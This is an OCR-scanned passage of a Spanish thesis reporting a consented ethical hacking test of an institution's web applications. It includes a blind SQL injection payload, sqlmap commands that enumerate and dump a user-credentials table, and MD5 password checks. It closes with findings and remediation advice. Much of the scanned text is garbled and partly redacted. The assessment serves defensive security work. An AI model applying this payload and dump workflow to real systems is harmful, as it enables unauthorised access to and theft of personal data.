<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/

BERE |

[ 1 Jofs|»]

0185 Al 20

Figura 2.24 Vulnerabilidad Blind SQL

Directory indexing

Este tipo de vulnerabilidad se da cuando los servidores permiten listar
directorios que podrian contener informacién sensible que no deberia ser

accedida por el publico en general.
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A menudo los Administradores se crean una falsa sensacion de seguridad
contra este tipo de vulnerabilidades argumentando que estos directorios
no se encuentran enlazados por lo que no podrian ser accesibles, cosa
gue no es cierta ya que quedan en evidencia cuando se utilizan potentes

escaneres de vulnerabilidades, figura 2.25.

& Vulnerability [] Information Summar\/‘ Description
Knowledge Base Eelgy e el g
3 t (1 vulnerability. This vulnerability was found in the request with id 10272
> phpinfo (1)
. path_disclosure (1
I (i Request |Re5pcnse‘
P S Raw Headers  Rendered
> blind_sgli (1) N N N N
s gt (1) Index of et
S () Bttt Sl ——
directory_indexing (1
v director (1 Name Last modified Size Description
N & Parent Director: -
generi (1 o
w 13-Feb-2015 10:56 184

Figura 2.25 Vulnerabilidad directory indexing

Para nuestro Hackeo Etico vamos a centrarnos en la vulnerabilidad de
Blind SQLi, haciendo uso de los resultados que nos dio nuestra

herramienta W 3af

Summary | Description

Blind SQL injection using time delays was found at: "http:/ e, using HTTP

method POST. The sent post-data was: "...usuario=John8212..." which modifies the "usuaric” parameter. This vulnerability was found in

the requests with ids

Id: 10938

Request | Response |

Raw | Headers Rendered

Summary | Description

- Blind SGL injection using time delays was found at: " ([, using HTTP

method POST. The sent post-data was: "...clave=56..." which modifies the "clave" parameter. This vulnerability was found in the requests
Inic jwith ids GG ittnd et e it iin

Error: Mo se pudo verificar sesion

Figura 2.26 Vulnerabilidades Blind SQLi
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Nos damos cuenta que el método de envio es POST por lo que sera
necesario el uso de herramientas como sqlmap, sabemos que es Microsoft

SQL Server por el error obtenido en la recopilacion de informacion.

() N - 0 ¥ C | [ Search levd & & =

{5 Most Visited v Il Offensive Security " Kali Linux “Kali Docs " Kali Tools EBExploit-DB W Aircrack-ng

Error: No se obtuvo datos Consultados.

exception 'PDOException’ with message 'SQLSTATE[HY000]: General error: 105 General SQL Server error: Check messages from the SQL Server [105]
(severity 15) [Select CONVERT(VARCHAR(10), (I, 103) as -
sae.fun_pagos_pendientes_identificacion( ‘I |' in fvar/www/html/ — 1286 Stack trace: #0 fvarfwrww

g - - 3
[htm/ 4 php( 1 286): PDO->query('Select CONVERTY(...') #1 fvarfwwwihtml
Ic ') #2 [varfwww/html/: — .php(22):

getconsPal #3 {main} -

Figura 2.27 Error que indica motor de base de datos

Entonces los parametros a enviar en la consulta seran:

sqimap —url " T T U U U I O O TSRO -

-dbms="Microsoft SQL Server" --level 5 --risk 3 --dbs -p usuario --data

U I -

Especificacion de los parametros utilizados:

R — — : o

- dbms: La base de datos que utiliza la aplicacion - Microsoft SQL Server

- level: nivel de dificultad, segun otros escaneos realizados
recomendado el valor de 5

- risk: riesgo de pruebas que se desea realizar — 3 maximos

- dbs: indicamos que extraiga las bases

p : variable vulnerable


http://aplicaciones.upse.edu.ec/apliwebs/intranet.php?mod=swint
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- data: cadena que se envia mediante método POST concatenada de la

siguiente forma: “covereiS0000wareniCiunrasngrsow”

Summary | Description

3lind SQL injection using time delays was found at: " IR, using HTTP

method POST. The sent post-data was: "...usuario=John&212..." which modifies the "usuario” parameter. This vulnerability was found in
Id: 10938

Request | Response

Raw | Headers

Name Value

--bBBcB2-53d780-e2bc43-1d5278-a3c0d9-a5c0d9
Content -Disposition: form-data; name=" "

1';waitfor delay '0:0:3'--
--bBBcB2-53d780-e2bc43-1d5278-a3c0d9-a5c0d9
Content-Disposition: form-data; name="1INmma"
56

--bB8cB2-53d780-e2bc43-1d5278-a3c0d9-a5cBd9
Content-Disposition: form-data; name="/{mmmm"

I
--b@B8cB2-53d780-e2bc43-1d5278-a3c0d9-a5c@d9- -

Figura 2.28 Cadena que se envia por método POST

La explotacion de la vulnerabilidad ha sido positiva obtenemos las bases

gue se encuentran alojadas en el servidor, figura 2.29

[

~TempDB

[
[
[*
[
[*
[*
[*
[
[
[*
[*
[*
[
[
[*
[*
[*
[
[*
[*
[*
[
[
[*
[*

Figura 2.29 Bases de datos de la institucion



29

De las bases que nos muestran nos llama la atencion una que deducimos
tiene usuarios y contrasefas que es la bd_accesos por lo que corremos el

siguiente comando en sglmap tratando de obtener las tablas

root@Apolo:~# sqlmap --url
SSV— : N : A

dbms="Microsoft SQL Server" --level 5 --risk 3 --dbs -p usuario --data

"It IO s mgmeew” -D bd_accesos —table

root@Apolo: ~

Archivo Editar Ver Buscar Terminal Ayuda

Figura 2.30 Tablas obtenidas con sqglmap

root@Apolo:~# sqglmap --url

dbms="Microsoft SQL Server" --level 5 --risk 3 --dbs -p usuario --data

" -D bd_accesos -T usuarios -

-columns
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root@Apolo: ~

Archivo Editar Ver Buscar Terminal Ayuda

numeric
varchar
varchar
varchar
fecha_creacion datetime
fecha_expiracion | datetime
e o smallint
id_grupo int
numeric
numeric
varchar
smallint
varchar
---------- +

Figura 2.31 Columnas obtenidas con sqlmap

Una vez identificada la base que nos interesa, en este caso la que nos
llamé la atencion por el nombre peculiar fue bd_accesos, figura 2.30,
hemos obtenido las tablas y las columnas de una de ellas procedemos a

realizar la extraccion de la data mediante el comando siguiente:

root@Apolo:~# sqlmap --url

dbms="Microsoft SQL Server" --level 5 --risk 3 --dbs -p usuario --data

" o e sEgRsEEr -D bd_accesos -T usuarios -

-columns —dump

Figura 2.32 Extraccién de la data
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De los datos obtenidos nos podemos percatar primero en los campos que
tiene esta tabla, nos indica ademas de tener un id_usuario, también

aparece un campo clave y otro clave_enc, figura 2.33.

root@Apolo: ~

Archivo Editar Ver Buscar Terminal Ayuda

Figura 2.33 campos extraidos con sqglmap

Hemos podido conseguir datos sensibles de las bases, datos como
usuarios y claves, por lo que un delincuente informético podria hacer mal

uso de toda esta data.

De los datos obtenidos en la etapa inicial encontramos en los manuales la
forma de acceso a las aplicaciones en donde nos explica el usuario y

contrasefia que debemos utilizar, ver figura 2.34.
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- NUmero immmmww
- NUmero de mEnaw's

- Ingresar a la pagina web de | [

- Escogemosellinkde s ~ © - < @ m +
[

- Un vez que ingresamos al B, damos click en la opcion
Consulta de calificaciones.

« Luego procedemos al ingreso de usuario (# @), clave (#
de [l vy codigo de seguridad.

Figura 2.34 Datos de acceso encontrados en linea

En el mismo manual encontramos que en la pantalla se pueden distinguir

estos dos datos que nos permiten el acceso

- Usuariol: o
- Clavel: lvmsmmma3

Bienvenido

Usuario: (NN

AR - o

Seleccione una matricula y luego imprima su comprobante. . Imprimir Comprobante

Nivel _ Periodo Carrera
1 SEGUNDO ANO 20111 ADMINISTRACION PUBLICA
2. CUARTO ANO 20131 ADMINISTRACION PUBLICA
: AU AR 20141 ADMINISTRACION PUBLICA

Figura 2.35 Usuario y clave expuesto en linea

Permitiendo asi el acceso a la aplicacién, pero un acceso un poco limitado

con solo dos opciones, un sistema de encuestas y un sistema de consultas
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[Salir del sistema] [ Cambiar clave |

:: PANEL DE CONTROL

usuario M bienvenido al panel de control de las | D- clic sobre el médulo para acceder a la aplicacion.

Sistema Encuestas f \ Servicios Académicos

Encuestas para Serwvicios Web para
Bienestar Universitario. estudiantes

[Estudiante] [Estudiantes]

Figura 2.36 Ingreso al sistema

De los mismos manuales pudimos obtener el otro usuario, pero este nos
parecid un poco mas interesante ya que es un usuario con privilegios un

poco mas elevados, figura 2.37.

- Usuario2: W o

- Dato2: (omommms?

- Clave2:
o o
Salir del sistema | | Cambiar clave Bienvenido « Inicio
11 PANEL DE CONTROL ool
]

[
I . Adm. Car. Informat
i P

Cambiar dave

R

Figura 2.37 Datos de un usuario docente expuesto

Hasta aqui hemos conseguido el nombre del docente y el usuario, ahora
del ataque de inyeccion de SQL pudimos notar tres cosas interesantes,
primero que encontramos un usuario con el mismo nombre al del manual
antes encontrado, segundo que la base nos dio un campo con la clave en

un MD5 y que la misma tabla tenia un campo que se llamaba clave_enc
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Figura 2.38 Extraccién de datos con sglmap

Decidimos hacer una prueba y generamos primero el MD5 de
Administrador no encontramos coincidencia, luego el de [N el cual
nos coincidié con el MD5 arrojado por la base, por lo que hicimos la misma
prueba con el dato N el mismo que coincidié, lo que nos deja en
evidencia que se estad guardando la clave sin encriptar en la tabla de

acceso, figura 2.39.

| mdSsum

:~# echo -n "\/ESEe8E" | mdSsum
(T 7 bb

:~# echo -n " " | md5sum
00 (I

:~#[|

Figura 2.39 Generacion de comprobacién MD5
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Procedemos a probar el ingreso con los datos encontrados y obtenemos
acceso a una serie de aplicativos con un nivel de rol mas elevado como

podemos apreciar en la figura 2.40.

[Salir del sistema [ Cambiar clave |

:: PANEL DE CONTROL

Usuario (EIbi=nvenido 3l panel de control de |a< A O- clic sobre el médulo pars acceder a la aplicacién.

[Docente] |

[Admin Encuesta]

Figura 2.40 Acceso a sistemas con mas privilegios



CAPITULO 3

ANALISIS DE RESULTADOS

3.1. REPORTE

Resumen Ejecutivo

La presente seccion abarca los detalles de la evaluacion realizada a la
plataforma de aplicaciones de la institucion por medio de un Hacking Etico
el mismo que tiene como propdésito la revisién de la seguridad frente a

posibles ataques de forma externa.

Todas las pruebas fueron ejecutadas con consentimiento de la direccién y
se simulé ser un delincuente informatico en busca de puntos de acceso a

la plataforma.



Se determinara:
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- Debilidades en la configuraciébn de la plataforma que aloja las

aplicaciones web

- Puntos de acceso para delincuentes informéticos y el impacto en

caso de conseguir dicho acceso

- Confidencialidad de los datos de la institucion

Se presté un enfoque mas profundo a la evaluacién y explotacién de las

vulnerabilidades que podrian permitir el acceso a un delincuente

informético a la plataforma poniendo en riesgo la integridad de la institucion

Linea de tiempo

Tabla 3.1 Tiempo de ejecucion del Hacking Etico

Test de penetracion

Fecha de inicio

Fecha de Finalizacién

Prueba No. 1

22/12/2015

02/01/2016

3.2.RESUMEN DE HALLAZGOS

2,5

1,5

0,5

Numero de Vulnerabilidades

Servidor 1

1

Baja Media ® Alta M Critica

Figura 3.1 Vulnerabilidades encontradas
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Tabla 3.2 Puertos encontrados en el servidor

Direccién IP Tipo de Sistema Puertos abiertos
sistema Operativo Puerto# | Protocolo | Servicio
FTP
21 TCP Closed
. 22 TCP SSH
Servidor de Centos
1 0
E— aplicaciones Apache 2.2.3
80 TCP HTTP
Auth
113 TCP Closed

Clasificacion de los riesgos

Segun el test de penetracion realizado los riesgos que posee la institucion
evaluada se consideran de alto riego, los ataques a las aplicaciones
tendran un alto impacto, el atacante podra extraer la data, modificarla e
incluso borrarla o hacer uso de las mismas para redirigir trafico a otros

sitios web.

Tabla 3.3 Detalle vulnerabilidad XST

Cross site tracing XST

Clasificacion: BAJO
Sistema afectado: Aplicacion

Descripcion: Se tienen el método TRACE habilitado, se podrian saltar
la proteccion HTTPOnly

Impacto: La data de los usuarios podria ser redirigida o robo de cuentas
de autenticacion

Remediacion: Los navegadores modernos ahora impiden se realicen
peticiones al método TRACE, establece la directiva TraceEnable en “off”
en el archivo de configuraciéon




39

Tabla 3.4 Detalle vulnerabilidad CSRF

Falsificacion de Peticiones de Sitios Cruzados — CSRF

Clasificacion: MEDIO
Sistema afectado: Intranet

Descripcién: Falsificacion de peticiones en sitios cruzados, cuando no
existe ningln mecanismo de comprobacion de acciones del usuario en
un sitio

Impacto: EI delincuente informatico podra ejecutar un proceso
determinado a través de una sesidn abierta legitimamente mediante otra
web infectada.

Remediacion: Uso de mecanismos de verificacion en las peticiones al
servidor, permitiendo la validacion de los valores asignados a un
formulario en una sesion.

Tabla 3.5 Detalle vulnerabilidad BlindSQL

Clasificaciéon: CRITICO
Sistema afectado: Aplicaciones
Descripcidn: Atague a ciegas por inyeccion SQL

Impacto: El delincuente informatico podra acceder a la data de la
institucion, modificarla e incluso borrarla

Remediacion: Mantener los datos no confiables de forma separada de
los comandos y consultas
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Tabla 3.6 Detalle vulnerabilidad Directory indexing

Directory indexing

Clasificacion: BAJO
Sistema afectado: Aplicacion

Descripcion: La web permite listar directorios con informacion que
deberia estar de forma oculta para los usuarios

Impacto: Permite la visualizacién de los delincuentes informaticos de
archivos que podrian contener informacion sensible de la institucion

Remediacion: Mecanismo que no permitan la visualizacion del
contenido de los directorios, index en blanco.

DETALLES DE HALLAZGOS

Realizando los primero pasos del reconocimiento se pudieron determinar
los diferentes puntos de entrada a las aplicaciones, también se determiné
que en manuales de sistemas en linea, se encuentran dos usuarios para

el acceso a la plataforma asi como también un password.

Se determind el mapa del sitio por medio de generacion de diccionarios
personalizados mediante la web de la institucion y un ataque de fuerza

bruta.

Un analisis mas profundo permitié determinar vulnerabilidades de las

cuales la més critica es Blind SLQi la cual permiti6 ver y manipular la
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informacion de la institucion, permitiendo la explotacion de esta, dandonos
el acceso a las aplicaciones como un usuario de tipo docente permitiendo

realizar diferentes cambios.



CONCLUSIONES Y RECOMENDACIONES

CONCLUSIONES

1.- No se cuenta con mecanismo que mitiguen en algo la recoleccion de

informacion en un proceso de reconocimiento.

2.- Las actuales politicas de asignacion y cambio de contrasefias no se
encuentran correctamente elaboradas, por lo que crean un agujero de

seguridad que ayuda a la explotacion de las vulnerabilidades encontradas.

3.- El almacenamiento de las contrasefias debidamente encriptadas se
esta realizando de una manera errénea por lo que el atacante puede

deducir facilmente los accesos a los sistemas de la institucion.
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4.- Las politicas o reglas basicas para desarrollo seguro de software y
sistemas necesita revision ya que se estan dejando brechas de seguridad

directamente en las aplicaciones.

5.- Lainstitucion cuenta con vulnerabilidades criticas que si son explotadas
por delincuentes informaticos pueden llegar a comprometer de forma

dréastica la confidencialidad, integridad y disponibilidad.

6.- El hackeo ético realizado con el consentimiento de la institucion tuvo
éxito pudiendo penetrar en los sistemas y en las bases, lo que dejaria a un
delincuente la posibilidad de tomar control de los sistemas y si asi lo

quisiera de la infraestructura interna.

7.- Las pruebas realizadas en ningin momento afectaron el correcto

funcionamiento ni paralizacién de los aplicativos en linea.

RECOMENDACIONES

1.- Se recomienda hacer uso de servicios de pagos para la no divulgacion
de informacién en cuanto a registros de dominios y mitigar en algo el

acceso a la informacion en la fase de reconocimiento durante un ataque.

2.- El equipo que aloja las aplicaciones de produccion y las que se
encuentran en desarrollo deberian estar por separados y realizar la debida

segmentacion de la red para poder ponerlos detras de una DMZ.
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3.- Se debe de hacer las correcciones necesarias en las bases en cuanto
al almacenamiento de las claves y lanzar una campafia masiva obligando

al usuario realizar el cambio de sus credenciales de acceso.

4.- Efectuar el estudio de métodos y herramientas para el desarrollo seguro

de aplicaciones e implementar otros métodos validacién de acceso.

5.- Tomar acciones correctivas en las vulnerabilidades encontradas y
monitorear constantemente la red en busca de comportamientos no

comunes para evitar el escaneo no autorizado de vulnerabilidades.

6.- Realizar charlas y capacitacion para que la comunidad de la instituciéon
tome conciencia de los peligros a que se encuentran expuestos en la red

y el problema que acarrea la divulgacion de informacién sensible.



[1]
[2]
[3]

[4]
[5]

45

BIBLIOGRAFIA

Calles J., La Biblia del Footprinting, 2011.

Astudillo K., Hacking Etico 101, 2013.

Gonzalez P., German S. y Soriano J., Pentesting con Kali,
Madrid: OXWORD, 2013.

Gonzalez P., Ethical Hacking, Madrid: OxXWORD, 2014.

Pauli J., The basics of web hacking, 2013.



